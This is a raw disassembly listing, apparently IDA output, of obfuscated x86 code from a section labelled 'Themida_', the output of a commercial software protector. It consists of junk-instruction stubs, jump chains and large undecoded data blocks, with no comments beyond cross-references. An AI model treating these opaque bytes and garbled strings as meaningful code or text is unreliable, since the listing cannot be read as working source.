		dd 603C7498h, 5359C801h, 0D8ECE951h, 5866FFFFh,	1C8BD828h
		dd 44A1E924h, 2C310000h, 242C3324h, 5324248Bh, 0B951E389h
		dd 37DD4761h, 0E981E1D1h, 6FBA8EBEh, 173AEB81h,	0CB0155A1h
		dd 14E8E9h, 0C85BB00h, 0DD897976h, 0FFC5815Bh, 52FFFFFFh
		dd 5717B3BAh, 0C9E2816Fh, 810E7756h, 0C51AD4EAh, 2DF28149h
		dd 0E9BDE7F7h, 593Dh, 24148750h, 4868D2F7h, 89000018h
		dd 10E92414h, 87FFFFF3h, 248B241Ch, 0D318E924h,	0C2FEFFFFh
		dd 0C008E2C0h, 0D9E907EAh, 52000085h, 0A9430CBAh, 5AD0095Dh
		dd 6777E625h, 38662D60h, 4D2D2BADh, 50E875E3h, 0A6242C81h
		dd 591AEA01h, 1A6C181h,	51581AEAh, 0C1815954h, 4, 0FFF9F9E9h
		dd 6E1C1FFh, 0CE04C181h, 0CA013AF3h, 83240C8Bh,	0C28304C4h
		dd 24148702h, 0E924248Bh, 6FB2h
; ---------------------------------------------------------------------------


loc_547EBC:				; CODE XREF: Themida_:0054E87Fj
		add	[ecx], esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_547B77
; ---------------------------------------------------------------------------
		db 1
		dd 34FF5DE8h, 0E9505A24h, 2DAEh, 204D8D2Dh, 5F00167h, 67204D8Dh
		dd 90685E5Eh, 89000015h, 62B82404h, 0E90DAC2Eh,	482Fh
		dd 5051E389h, 880D98B8h, 3414B923h, 0C10124F5h,	4C05E9h
		dd 28E95E00h, 0C0FFFFF4h, 25E904E7h, 81000015h,	4C6h, 4C68100h
		dd 87000000h, 248B2434h, 0C6DBE924h, 505EFFFFh,	2B8h, 58C50100h
		dd 6C9D68h, 242C8900h, 42474FFh, 0E92434FFh, 6586h, 0EC80CC28h
		dd 0D4F6599Ah, 14E9D4F6h, 4500005Dh, 2881F581h,	0E901041Ah
		dd 3F86E9h
		db 0
; ---------------------------------------------------------------------------


loc_547F69:				; CODE XREF: Themida_:00549E74j
		push	11E9692Ch
		pop	eax
		neg	eax
		inc	eax
		sub	eax, 76910026h
		add	eax, 887A6955h
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		push	ecx
		push	ebp
		mov	ebp, 6F833E28h
		neg	ebp
		dec	ebp
		jmp	loc_54640A
; ---------------------------------------------------------------------------
		dw 0CF05h
aYUsB		db 'y',9,'uИжb',0
		align 4
aBASYspp	db '│а²г',0Dh,'А!нYИ▐P',0
		align 2
		dw 1C89h
		dd 2474FF24h, 0EE8DE904h, 2C8BFFFFh, 5F01E924h,	0F5880000h
		dd 0FFC97BE9h, 5AD529FFh, 51746857h, 0E95F356Ch, 4DFh
		dd 4EC8351h, 0E9242C89h, 0FFFFD233h
; ---------------------------------------------------------------------------


loc_547FE0:				; CODE XREF: Themida_:00547094j
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54DCED
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FEF6E953h, 0E95CFFFFh, 0FFFFEEA3h
; ---------------------------------------------------------------------------


loc_548004:				; CODE XREF: Themida_:0054D5B4j
		sub	eax, ecx
		sub	eax, 2B02147Bh
		pop	ecx
		push	4BD7h
		mov	[esp], ebx
		mov	ebx, 6C0A5F91h
		push	ecx
		mov	ecx, esp
		jmp	loc_545543
; ---------------------------------------------------------------------------


loc_548021:				; CODE XREF: Themida_:0054E2C3j
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		jmp	loc_5452E1
; ---------------------------------------------------------------------------


loc_54802F:				; CODE XREF: Themida_:00547838j
		push	esi
		push	eax
		jmp	loc_5498CD
; ---------------------------------------------------------------------------
		dw 0EA30h
		dd 0EA30D530h, 54F65166h, 8B660124h, 0C483240Ch, 80EA8602h
		dd 0D0304FF2h, 3EB805Ah, 4C91E952h, 4050000h, 5930E624h
		dd 0EFDEE950h, 0C481FFFFh, 4, 5B52E9h, 241C8900h, 18FEE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54807A:				; CODE XREF: Themida_:0054AAFFj
		xchg	ebp, [esp]
		pop	esp
		push	small 3EB7h
		mov	[esp], ax
		mov	al, 8Ch
		jmp	loc_5495F8
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 4BFh, 0E3BD5500h, 0D17AEA44h, 0A3C581E5h, 4D4CC516h
		dd 3A73E9h, 67B55100h, 0EF0007B7h, 32F78059h, 4F8F780h
		dd 2CF80080h, 0D8285B80h, 8904EC83h, 0A4B5240Ch, 78B35366h
		dd 5B66D828h, 7804E828h, 623BE9h, 24048700h, 242C895Ch
		dd 389168h, 0BDE95400h,	51000007h, 42474FFh, 24048F59h
		dd 6624248Bh, 0E9C8B60Fh, 4015h, 6BDDE981h, 0F1813943h
		dd 3956A18Bh, 8159C889h, 345A3C1h, 81C10132h, 345A3E9h
		dd 0E3685832h, 8900001Ch, 0B850242Ch, 1BF14C1Bh, 0B2083C0Dh
		dd 46DCE922h, 89660000h, 9EE9241Ch
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54813F:				; CODE XREF: Themida_:0054D1CBj
		pop	ebp
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_547058
; ---------------------------------------------------------------------------
		dd 0EF72E95Dh, 0CBFEFFFFh, 0E95EC380h, 50E1h, 4C48358h
		dd 0E905EFC0h, 0FFFFE443h, 8049B652h, 0C6804EEEh, 80CEFE01h
		dd 2BE969CEh, 0E9000088h, 0FFFFC479h, 240C8B66h, 56595451h
		dd 85EB6BEh, 38EE8147h,	0E9683076h, 0FFFFF4BDh
; ---------------------------------------------------------------------------


loc_5481A8:				; CODE XREF: Themida_:0054644Bj
		push	ecx
		push	esi
		mov	esi, eax
		mov	ecx, esi
		pop	esi
		jmp	loc_5474DC
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFFD073h, 24048F54h, 4240483h,	8324048Fh
		dd 8B042404h, 0C483240Ch, 4C18104h, 52000000h, 4BAh, 5AD12900h
		dd 0FFD660E9h, 0BABF57FFh, 815EB46Dh, 6DF16FF7h, 5FF901B3h
		dd 0FFCFAFE9h, 4C481FFh, 57000000h, 976CDEBFh, 6852h, 3C290000h
		dd 0E7C15F24h, 0FCE95503h, 5A00007Ch, 0FFEC19E9h, 0C7815FFFh
		dd 4, 0E904C783h, 0FFFFD8A3h, 15FFB01h,	7603E9CBh, 47680000h
		dd 89000037h, 2BB241Ch,	89000000h, 830EE9DFh, 9B680000h
		dd 89000053h, 0E389241Ch, 5D8F6852h, 815A3951h,	4E3486E2h
		dd 7627E95Ah, 815B0000h, 266615CAh, 7AE94211h, 1000059h
		dd 0D5015EF5h, 5F2AED81h, 875A0045h, 248B242Ch,	24048124h
		dd 610B17C5h, 55636855h, 2C8B410Bh, 4C48324h, 4244481h
		dd 33FA27B6h, 4246C29h,	4246C81h, 33FA27B6h, 77B5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5482B1:				; CODE XREF: Themida_:0054D20Aj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54E8CB
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFF557E9h, 4C481FFh, 81000000h, 0F30712CBh,	335CE92Ch
		dd 815A0000h, 4C2h, 4C28300h, 0E9241487h, 55E1h, 0EF8035B7h
		dd 5BFC005Ch, 0E7885352h, 505BFE88h, 719CE9h
		db 0
; ---------------------------------------------------------------------------


loc_5482FD:				; CODE XREF: Themida_:0054AB64j
		pop	ebp
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_54D6CF
; ---------------------------------------------------------------------------
		db 81h
		dd 1E9h, 36C18100h, 0E9085E60h,	0FFFFCEABh, 48BC121h, 4C48324h
		dd 530AE9C1h, 0E92434FFh, 0FFFFD371h, 0E9242C89h, 179Fh
		dd 0E9240433h, 0FFFFC946h
; ---------------------------------------------------------------------------


loc_548344:				; CODE XREF: Themida_:0054516Dj
		push	eax
		jmp	loc_547392
; ---------------------------------------------------------------------------


loc_54834A:				; CODE XREF: Themida_:0054C67Ej
		inc	ebp
		sub	ebp, 4DBB2240h
		mov	edx, ebp
		pop	ebp
		xor	edx, 4CE34B87h
		push	edi
		jmp	loc_54B403
; ---------------------------------------------------------------------------
		dd 0DFDBA52h, 0D30149B5h, 1924E9h
		db 0
; ---------------------------------------------------------------------------


loc_54836D:				; CODE XREF: Themida_:0054D6C0j
		push	53ABh
		mov	[esp], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 59B450E4h
		shr	edx, 7
		jmp	loc_546B86
; ---------------------------------------------------------------------------
		db 45h,	81h, 0E5h
		dd 47BB7640h, 3DA0F581h, 0BB53647Ch, 7A511C06h,	4051C381h
		dd 0F3817802h, 2419247Dh, 47E7C381h, 0C3814C49h, 92AD7BC1h
		dd 22E9DD01h, 21000078h, 0CA8159CAh, 3E3670EEh,	240CFF52h
		dd 8124148Bh, 4C4h, 3E17E900h, 0EC830000h, 6468E904h, 0D1880000h
		dd 0CA88C1FEh, 0CA805966h, 16EA8005h, 885AD788h, 88535BF9h
		dd 2BE951CFh, 8BFFFFC7h, 0BCE92424h, 83000028h,	0E95304C4h
		dd 0FFFFD804h, 77DDE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54840E:				; CODE XREF: Themida_:00550750j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54563A
; ---------------------------------------------------------------------------
		db 31h
		dd 4332404h, 0F1F75C24h, 457868h, 24148900h, 7405E9h
		db 0
; ---------------------------------------------------------------------------


loc_54842D:				; CODE XREF: Themida_:0054A0CDj
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_545C86
; ---------------------------------------------------------------------------
		dd 53FFC380h, 0E92414F6h, 7608h, 42E9C801h, 0FFFFFFEEh
		dd 48B2434h, 4C48124h, 0E9000000h, 86A5h, 51240489h, 0FE552AB9h
		dd 6EE9816Fh, 81140161h, 4B6B12E9h, 37C1817Ch, 8148732Ah
		dd 0BB6B03C9h, 5E9C124h, 0BE92E981h, 0C8898596h, 7144E9h
		db 0
; ---------------------------------------------------------------------------


loc_54848D:				; CODE XREF: Themida_:0054C275j
		sub	ebp, 45856A74h
		shr	ebp, 8
		shr	ebp, 3
		neg	ebp
		xor	ebp, 8CE0A4Dh
		xor	ebp, 0F796A9E8h
		jmp	loc_54D758
; ---------------------------------------------------------------------------
		dd 0F7E9D089h, 8100000Dh, 1E7C6AEFh, 0FBC78102h, 8111B472h
		dd 0E998E4C7h, 55E1E974h, 0D0010000h, 77D8E9h, 0E9E28900h
		dd 27Ah, 4C281h, 0C2810000h, 4,	31241433h, 60E92414h, 81000035h
		dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 68552414h, 62F858E4h
		dd 55BFE95Dh, 148B0000h, 0CBB6E924h, 0C380FFFFh, 5E3C001h
		dd 2C75EB80h, 433EE9A3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548526:				; CODE XREF: Themida_:0054ED46j
		or	edx, 1BAA79C0h
		sub	edx, 0BBE779DDh
		mov	ecx, edx
		pop	edx
		and	eax, ecx
		pop	ecx
		shr	eax, 12h
		xor	eax, ecx
		xchg	eax, esi
		push	79E7h
		mov	[esp], esi
		xchg	edx, [esp]
		xchg	edi, edx
		push	edi
		not	dword ptr [esp]
		pop	edi
		xchg	edi, edx
		jmp	loc_54B192
; ---------------------------------------------------------------------------
		db 68h
		dd 159Ch, 6603E9h, 240C8B00h, 56F1E9h, 0C3C38000h, 288EEA80h
		dd 8EC280DAh, 5AD0305Bh, 0B60FC330h, 8734FFC0h,	0FFC084E9h
		dd 4875BFFh, 24248B24h,	24048966h, 0FFC074E9h, 240433FFh
		dd 0E924248Bh, 72DDh
; ---------------------------------------------------------------------------


loc_5485A0:				; CODE XREF: Themida_:00549064j
		mov	ebp, esp
		jmp	loc_54CA79
; ---------------------------------------------------------------------------
		db 0FFh
		dd 505B2434h, 4055854h,	0E9000000h, 1828h, 8904EC83h, 0B9512414h
		dd 2, 5359CA89h, 492BF9BBh, 5BD8011Ch, 0F92DD001h, 5A1C492Bh
		dd 31240433h, 86E92404h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5485E3:				; CODE XREF: Themida_:0054B524j
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_54B15D
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 41D51ED5h, 41B3BF57h, 0C78112BEh, 69F54177h,	449DC781h
		dd 0F7816B60h, 320139E9h, 3FC8EF81h, 0FD293729h, 0DECBE95Fh
		dd 8158FFFFh, 4EBh, 687DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548632:				; CODE XREF: Themida_:0054FC0Ej
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 66C23395h
		add	esi, 2F603C17h
		or	esi, 7B023B88h
		add	esi, 719C441Bh
		push	3861h
		mov	[esp], ebp
		mov	ebp, 8F413C3Dh
		add	esi, ebp
		jmp	loc_54DE1C
; ---------------------------------------------------------------------------
		dd 0E932FF66h, 0FFFFBF9Dh, 8B04C483h, 0DCE9242Ch, 89FFFFDCh
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 5B54535Ch, 4C381h
		dd 0DB680000h, 89000052h, 19682404h, 8900004Ch,	5B9240Ch
		dd 0E9420732h, 0FFFFF3D5h, 8D5C381h, 0F3810401h, 21E9218Ah
		dd 1C8BD889h, 4C48324h,	2128E9h, 18C58100h, 115A208h, 2684E9F5h
		dd 87580000h, 0E95C2414h, 71FCh, 81241C8Bh, 4C4h, 0AD66800h
		dd 6FE90000h, 80FFFFE0h, 0CE88B9C1h, 7EEC059h, 0E92DC680h
		dd 43A3h
; ---------------------------------------------------------------------------


loc_548700:				; CODE XREF: Themida_:00546E31j
		mov	edx, [esp]
		add	esp, 4
		mov	[ebx], al
		jmp	loc_54C7BA
; ---------------------------------------------------------------------------
		db 1, 0E8h, 0E9h
		dd 5E12h, 81E38953h, 4C3h, 4EB8100h, 87000000h,	895C241Ch
		dd 0E1BF243Ch, 52277715h, 53E9BF57h, 0FA89499Eh, 5AD7315Fh
		dd 24ABE9h
		db 0
; ---------------------------------------------------------------------------


loc_548741:				; CODE XREF: Themida_:0054E9C0j
		dec	edi
		xor	edi, 0A9DD6675h
		sub	ebp, edi
		pop	edi
		add	ebx, ebp
		jmp	loc_54C596
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8704EA83h, 0E95C2414h, 7906h, 3C2BE981h, 7BE93C35h
		dd 81000081h, 4C4h, 24048F00h, 48B665Ch, 3DE0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548782:				; CODE XREF: Themida_:00548AFEj
		mov	eax, 2
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_545497
; ---------------------------------------------------------------------------
		db 0ADh, 81h, 0EEh
		dd 2BE525DCh, 8904EC83h, 6FE92404h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5487AF:				; CODE XREF: Themida_:0054A5A2j
		push	4AF5h
		mov	[esp], edi
		mov	edi, 10h
		mov	esi, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_550185
; ---------------------------------------------------------------------------
		db 0BFh
		dd 4, 797AE9h, 3328BF00h, 0EFC130B6h, 81D7F708h, 87DCECFh
		dd 0F1BE565Bh, 31FA642Dh, 88E95EF7h, 0BEFFFFDAh, 66FF0FD3h
		dd 0B451F0BAh, 5EF23167h, 4245429h, 8324148Bh, 0E904C4h
		dd 81000002h, 4C3h, 241C8700h, 5F7CE9h,	0D4B6800h, 53E90000h
		dd 8100002Eh, 4C3h, 4C38100h, 87000000h, 248B241Ch, 0B9B95124h
		dd 816BCE4Dh, 0E872FFC9h, 0F7E9876Ah, 41E987D5h, 75FEB850h
		dd 0C131106Eh, 0F8E98158h, 0E9437274h, 17DDh
; ---------------------------------------------------------------------------


loc_54885C:				; CODE XREF: Themida_:0054CB67j
		add	esp, 4
		push	ecx
		jmp	loc_54B60D
; ---------------------------------------------------------------------------
		dd 5C241487h, 8F665466h, 0D0E92404h, 0B3000047h, 0CDDAE9F7h
		dd 48FFFFFh, 24048324h,	3CFEE904h, 2C890000h, 0FE895624h
		dd 56EEE9h, 7FE58100h, 0F736AC17h, 43C581D5h, 0E94BB709h
		dd 0FFFFDD24h, 8324048Fh, 0E9042404h, 2F5Ch, 2C76B951h
		dd 0E9815C06h, 47AB4408h, 0E9C1D9F7h, 0CCF18105h, 81526079h
		dd 0C2AE92C1h, 408AE9AAh, 5A5F0000h, 792968h, 242C8900h
		dd 468h, 52E95D00h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5488EB:				; CODE XREF: Themida_:0054CA5Ej
		or	ah, 0AFh
		jmp	loc_54F452
; ---------------------------------------------------------------------------
		db 89h
		dd 0DDE9241Ch, 8AFFFFEFh, 0C4832414h, 0FFC28004h, 0E9B1C280h
		dd 55C7h, 4C481h, 0C4830000h, 0E382E904h, 0E951FFFFh, 6E34h
; ---------------------------------------------------------------------------


loc_548920:				; CODE XREF: Themida_:00550756j
		push	eax
		jmp	loc_54F99A
; ---------------------------------------------------------------------------
		dw 0B151h
		dd 0B2C1805Eh, 0F6F5C980h, 8CE180D1h, 6E00E9h, 40500h
		dd 4870000h, 93685C24h,	89000058h, 0CE92414h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54894F:				; CODE XREF: Themida_:0054CFB4j
		mov	[esp], ebx
		push	ebp
		mov	ebp, 28h
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54EB8A
; ---------------------------------------------------------------------------
		dd 5AD00158h, 4BE56h, 0F0010000h, 4CC0E95Eh, 14890000h
		dd 6882B224h, 0
		dd 0E9241428h, 0FFFFFF6Fh, 5AB668ADh, 14890000h, 1EF0BA24h
		dd 0E2814755h, 9C55146h, 569E9h, 0E9CA3000h, 787Dh
; ---------------------------------------------------------------------------


loc_5489AC:				; CODE XREF: Themida_:00544B46j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_54BEE9
; ---------------------------------------------------------------------------
		dw 532Ch
		dd 5968F028h, 8900002Dh, 30E9241Ch, 50000035h, 0EC815854h
		dd 4, 57243489h, 3F467CBFh, 0C1D7F771h,	6DE905EFh, 68000054h
		dd 50D50F5Bh, 11BDE95Bh, 66C30000h, 68240C8Bh, 64FFh, 72E2E9h
		dd 4BF00h, 7EE90000h, 59000047h, 23BF5753h, 81014B5Eh
		dd 4ECh, 243C8900h, 2434FF5Bh, 4C4835Fh, 1C9EC181h, 0D9015C30h
		dd 1C9EE981h, 1C8B5C30h, 4C48324h, 4EC81h, 9DE90000h, 5A000032h
		dd 0C480D4F6h, 84B75301h, 0E939E780h, 0FFFFF4BBh, 2BFh
		dd 5FF90100h, 6096E957h, 34FF0000h, 4585E924h, 835A0000h
		dd 1C8704EBh, 34895C24h, 41BCBE24h, 0BD5540CCh,	37461EC3h
		dd 0E95DEA01h, 0FFFFBF3Ch, 77E9C331h, 0BD000064h, 0AA23CF85h
		dd 62DBE9h, 243C8B00h, 4C481h, 0C4E90000h, 8BFFFFC5h, 8957242Ch
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 2C7815Ch, 33000000h
		dd 3C31243Ch, 243C3324h, 6624248Bh, 9C240CD3h, 0FFBB30E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_548AD9:				; CODE XREF: Themida_:0054F660j
		xchg	esi, ebp
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		xchg	esi, ebp
		shl	ebp, 4
		and	ebp, 7ECB253Eh
		add	ebp, 0F3F4FFD4h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		jmp	loc_548782
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 63B26800h, 4890000h, 4B824h, 0C3290000h, 3E1BE958h
		dd 34FF0000h, 89515E24h, 4C181E1h, 83000000h, 6DE904C1h
		dd 66000038h, 6824048Bh, 34D4h,	0E9242C89h, 325Dh, 6F34DBBBh
		dd 3BEB8139h, 1A8F4C7h,	2D9BE9DEh, 685F0000h, 16DEh, 0B9240C89h
		dd 6C5A474Ch, 4B1AE9h, 0EBEE8100h, 56D954EAh, 0B5243481h
		dd 8B6CAC47h, 8AE9241Ch, 50FFFFDFh, 4C22EBB8h, 69D2E936h
		dd 0F7890000h, 0FFE2D5E9h, 81EB29FFh, 0C70553EBh, 0FB015D04h
		dd 44D7C381h, 58E97266h, 80FFFFE5h, 0B3539DCEh,	55F3806Bh
		dd 80D4EB80h, 13E9FCF3h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548BBB:				; CODE XREF: Themida_:00549D9Aj
		push	esi
		jmp	loc_545D3A
; ---------------------------------------------------------------------------


loc_548BC1:				; CODE XREF: Themida_:005450C7j
		pop	edx
		jmp	loc_54955B
; ---------------------------------------------------------------------------
aLVichT		db '▀,$V┴Фh',7,'T',0
		align 2
		dw 1C89h
		dd 2130BB24h, 7E95D27h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548BDF:				; CODE XREF: Themida_:0054C25Ej
		mov	ebx, esp
		jmp	loc_54A7DF
; ---------------------------------------------------------------------------


loc_548BE6:				; CODE XREF: Themida_:0054B8A4j
		jmp	loc_544609
; ---------------------------------------------------------------------------
aYsj		db 'YИ╕!',0
		dd 0C0A9B100h, 0E98003E9h, 1DF8E9B9h, 0F1870000h, 81F18746h
		dd 464282C9h, 9EE98111h, 0E9F75FDBh, 0FFFFE38Bh
; ---------------------------------------------------------------------------


loc_548C14:				; CODE XREF: Themida_:00549E3Ej
		jmp	loc_544609
; ---------------------------------------------------------------------------
		db 0D1h, 0EAh, 0E9h
		dd 65F8h, 0B8240489h, 0E37FDE56h, 5558C501h, 0E9815D5Eh
		dd 6850B46h, 749DE9h
		db 0
; ---------------------------------------------------------------------------


loc_548C39:				; CODE XREF: Themida_:0054DCF9j
		pop	esp
		or	eax, eax
		jnz	loc_549FBC
		push	1100h
		jmp	loc_545047
; ---------------------------------------------------------------------------


loc_548C4C:				; CODE XREF: Themida_:00544F96j
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_545BDC
; ---------------------------------------------------------------------------


loc_548C55:				; CODE XREF: Themida_:005465B0j
		or	edx, eax
		shl	edx, 1
		jmp	loc_547D4C
; ---------------------------------------------------------------------------
		dw 1487h
		dd 24248B24h, 9C240420h, 1326E9h
		db 0
; ---------------------------------------------------------------------------


loc_548C6D:				; CODE XREF: Themida_:0054B380j
		push	ebp
		mov	ebp, 225B7D4Bh
		jmp	loc_54F1B4
; ---------------------------------------------------------------------------
		dd 187BE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548C7E:				; CODE XREF: Themida_:0054F613j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_548EF6
		sub	esp, 4
		mov	[esp], ebp
		push	0DB0265Eh
		pop	ebp
		shr	ebp, 7
		push	ebp
		jmp	loc_546CBB
; ---------------------------------------------------------------------------
		db 21h
		dd 0E6C159CEh, 0FFC68306h, 0F681E6D1h, 4112A8FAh, 0E95EF501h
		dd 6EABh, 5059B866h, 72DD68h, 24348900h, 4128BE66h, 55D5BD66h
		dd 0E9F52966h, 5E9Fh, 815AD589h, 0FE72FDF5h, 8EDC165h
		dd 5086E9h, 28560400h, 59562CE8h, 1FBBE9h
		db 0
; ---------------------------------------------------------------------------


loc_548CF9:				; CODE XREF: Themida_:0054D512j
		mov	ecx, esp
		jmp	loc_549E2E
; ---------------------------------------------------------------------------
		dd 0F658C700h, 1DE4E9DFh, 0D8290000h, 8B2434FFh, 0C483241Ch
		dd 1DE95604h, 81000076h, 0D0D30EF2h, 5AD30148h,	81E38953h
		dd 4C3h, 4EB8300h, 2474FF53h, 48F5B04h,	4895C24h, 24048124h
		dd 0A7328BFh, 8124048Bh, 4C4h, 0DEBB5300h, 810B2D6Ch, 45BBE1C3h
		dd 3FBE56FFh, 8109893Fh, 0C74B6F6h, 2F32E94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548D6A:				; CODE XREF: Themida_:00546476j
		sub	esp, 4
		jmp	loc_54E448
; ---------------------------------------------------------------------------
		dw 8168h
		dd 8900000Fh, 6EBD242Ch, 814DCD0Dh, 2462B8F5h, 5DE80101h
		dd 0CBE3E953h, 0C681FFFFh, 4, 8704C683h, 815C2434h, 4D3C1EC1h
		dd 0DB3AE952h, 0BB53FFFFh, 68A90C4Eh, 2414F753h, 14F3815Bh
		dd 89F76CC3h, 2184E9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548DBE:				; CODE XREF: Themida_:0054BA77j
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		push	eax
		push	1373h
		mov	[esp], edx
		jmp	loc_549305
; ---------------------------------------------------------------------------
		db 89h
		dd 6CBD242Ch, 5310B05Dh, 4A74BF57h, 0EF814886h,	7BCB336Ch
		dd 0B327C781h, 0FB899266h, 0C869E95Fh, 4FB8FFFFh, 522FAA54h
		dd 0CB57E0BAh, 0E9D0297Eh, 79CDh, 5C240487h, 24048B66h
		dd 3BFD68h, 242C8900h, 0C581E589h, 4, 4EC81h, 1BE90000h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548E37:				; CODE XREF: Themida_:00546CB6j
		push	ebx
		mov	ebx, 2EED506Ch
		mov	edx, ebx
		pop	ebx
		add	ebx, edx
		pop	edx
		jmp	loc_546789
; ---------------------------------------------------------------------------
		dd 0D3CAE957h, 3358FFFFh, 34312434h, 24343324h,	0F24248Bh
		dd 0EC83C8BEh, 24148904h, 0B850E289h, 0F3D7AD2h, 602268h
		dd 24048900h, 0E92414F7h, 6EF5h, 5AE95258h, 51000001h
		dd 795FB268h, 0DDC3E92Dh, 0EC83FFFFh, 24348904h, 0F8685552h
		dd 0E957F065h, 3D05h, 24048B66h, 3493E953h, 0C8000000h
		dd 0E9E95966h, 83000024h, 1C8904ECh, 285FBB24h,	0FEE92ADDh
		dd 87FFFFD8h, 0A5E9241Ch
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548ECB:				; CODE XREF: Themida_:0054C477j
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_544609
; ---------------------------------------------------------------------------
		dd offset dword_50AC48+620h
		align 2
		dw 3489h
		dd 186DBE24h, 0B1E92AB8h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_548EF3:				; CODE XREF: Themida_:00546CF0j
		pop	edi
		pop	esi
		pop	ebp


loc_548EF6:				; CODE XREF: Themida_:00546C18j
					; Themida_:00548C89j
		push	ebx
		mov	ebx, 24h
		add	ebx, 69F36F17h
		add	ebx, edi
		push	6E7Eh
		jmp	loc_549E8D
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 384DE9h, 0D6E95400h,	5D000057h, 3294E9h, 0B5F58100h
		dd 811C080Dh, 8D0C2AC1h, 0C850E91Bh, 0C8BFFFFh,	0E0895024h
		dd 4BD55h, 97E90000h, 5E00004Eh, 5C243C87h, 53F9F766h
		dd 0A5685B54h, 8900003Ah, 0B9512434h, 4CA14C9h,	5469E9h
		dd 2434FF00h, 81241C8Bh, 4C4h, 4C48300h, 0FFCFB0E9h, 243C89FFh
		dd 49596856h, 348B78F7h, 4C48124h, 4E000000h, 495AF681h
		dd 0F78978F7h, 487E9h, 5EFC100h, 0D7F7DFF7h, 45E9D7F7h
		dd 56FFFFC6h, 0FFDD9CE9h, 57E0D1FFh, 0FA35E953h, 0B850FFFFh
		dd 4FA87EDBh, 94E9C721h, 81FFFFEDh, 5D0E2434h, 48B7737h
		dd 4C48324h, 0D8DAE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548FD2:				; CODE XREF: Themida_:0054E26Dj
		or	ecx, 201A776Dh
		jmp	loc_546753
; ---------------------------------------------------------------------------
		db 0B6h, 0EDh, 80h
		dd 0D6F6F8EEh, 932E9h
		db 0
; ---------------------------------------------------------------------------


loc_548FE9:				; CODE XREF: Themida_:0054A89Bj
		mov	al, bh
		pop	ebx
		jmp	loc_54E15F
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 0C8h
		dd 81055C3Eh, 480204F1h, 59CE0105h, 1D5068h, 243C8900h
		dd 159AE9h, 1C77FF00h, 0D259669Dh, 0E99C241Ch, 0FFFFB5EDh
		dd 0E9C0B60Fh, 0FFFFE832h
; ---------------------------------------------------------------------------


loc_549024:				; CODE XREF: Themida_:0054CB95j
		push	1030h
		mov	[esp], edx
		pop	edi
		pop	edx
		push	ebp
		jmp	loc_5506AF
; ---------------------------------------------------------------------------
		dd 6803CF81h, 0C7817A37h, 8FB79CF3h, 0C7E9FD89h, 81000069h
		dd 4C4h, 0D5DE900h, 0F7010000h,	1D89E9h
		db 0
; ---------------------------------------------------------------------------


loc_549059:				; CODE XREF: Themida_:00546F9Aj
		mov	esi, 13DA15A5h
		xor	ebp, esi
		mov	esi, [esp]
		push	ebp
		jmp	loc_5485A0
; ---------------------------------------------------------------------------
		db 0F6h, 0DBh, 0FEh
